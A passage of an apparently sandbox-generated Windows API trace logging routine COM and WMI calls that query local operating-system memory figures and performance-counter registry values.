riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b34a5e8) returned 0x0 [0280.026] IMarshal:GetUnmarshalClass (in: This=0x1b34a5e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0280.026] IUnknown:Release (This=0x1b34a5e8) returned 0x3 [0280.026] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0280.026] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0280.027] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0280.027] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0280.027] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0280.027] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b34a5e0) returned 0x0 [0280.027] IUnknown:AddRef (This=0x1b34a5e0) returned 0x4 [0280.027] IUnknown:Release (This=0x1b34a5e0) returned 0x3 [0280.027] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0280.027] CoTaskMemFree (pv=0x5248c0) [0280.027] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0280.027] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0280.027] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0280.027] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0280.027] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0280.027] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0280.028] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0280.028] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0280.028] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0280.028] IUnknown:Release (This=0x4b0108) returned 0x1 [0280.029] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d497380) returned 0x0 [0280.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d497380, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0280.029] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d497380, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0280.029] WbemDefPath:IUnknown:Release (This=0x1d497380) returned 0x0 [0280.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0280.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0280.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0280.030] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0280.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0280.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0280.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497280) returned 0x0 [0280.030] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497280, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0280.030] WbemDefPath:IUnknown:Release (This=0x1d497280) returned 0x3 [0280.030] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0280.030] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0280.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0280.030] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0280.030] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0280.030] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0280.030] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0280.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0280.030] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0280.030] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0280.031] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0280.031] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0280.031] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0280.031] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0280.031] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0280.031] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0280.031] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0280.031] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ffc80*=0, plFlavor=0x28ffc84*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28ffc80*=21, plFlavor=0x28ffc84*=0) returned 0x0 [0280.031] SysStringByteLen (bstr="1395304") returned 0xe [0280.031] SysStringByteLen (bstr="1395304") returned 0xe [0280.031] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ffc80*=21, plFlavor=0x28ffc84*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28ffc80*=21, plFlavor=0x28ffc84*=0) returned 0x0 [0280.031] SysStringByteLen (bstr="1395304") returned 0xe [0280.031] SysStringByteLen (bstr="1395304") returned 0xe [0280.032] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0280.032] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0280.032] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0280.032] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ffe78*=0, plFlavor=0x28ffe7c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28ffe78*=21, plFlavor=0x28ffe7c*=0) returned 0x0 [0280.032] SysStringByteLen (bstr="2096620") returned 0xe [0280.032] SysStringByteLen (bstr="2096620") returned 0xe [0280.032] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ffe78*=21, plFlavor=0x28ffe7c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28ffe78*=21, plFlavor=0x28ffe7c*=0) returned 0x0 [0280.032] SysStringByteLen (bstr="2096620") returned 0xe [0280.032] SysStringByteLen (bstr="2096620") returned 0xe [0280.032] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0280.032] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0280.032] IUnknown:Release (This=0x1d35be50) returned 0x0 [0282.080] GetTickCount64 () returned 0xabd4b7 [0282.081] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0282.081] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2857f90, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2857f90*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0282.083] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0282.083] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28693a8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28693a8*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0282.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0282.086] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0282.086] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0282.086] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0282.086] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0282.086] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0282.086] IUnknown:Release (This=0x4b0108) returned 0x1 [0282.087] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d4971a0) returned 0x0 [0282.087] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0282.087] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d4971a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d4971c0) returned 0x0 [0282.087] WbemLocator:IUnknown:Release (This=0x1d4971a0) returned 0x0 [0282.087] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d4971c0) returned 0x0 [0282.087] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0282.087] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0282.088] WbemLocator:IUnknown:AddRef (This=0x1d4971c0) returned 0x3 [0282.088] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0282.088] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0282.088] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0282.088] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0282.088] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0282.088] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0282.088] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x2 [0282.088] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x1 [0282.088] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0282.088] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0282.088] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d4971c0) returned 0x0 [0282.088] WbemLocator:IUnknown:AddRef (This=0x1d4971c0) returned 0x3 [0282.088] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x2 [0282.088] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0282.088] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0282.088] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0282.088] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497160) returned 0x0 [0282.089] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497160, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474600) returned 0x0 [0282.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351ea0) returned 0x0 [0282.442] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351ea0, pProxy=0x1d474600, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0282.442] WbemLocator:IUnknown:Release (This=0x1b351ea0) returned 0x1 [0282.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351ee8) returned 0x0 [0282.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351ea0) returned 0x0 [0282.442] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351ea0, pProxy=0x1d474600, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0282.443] WbemLocator:IUnknown:Release (This=0x1b351ea0) returned 0x2 [0282.443] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0282.443] CoTaskMemFree (pv=0x1d471770) [0282.443] WbemLocator:IUnknown:Release (This=0x1d497160) returned 0x0 [0282.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, 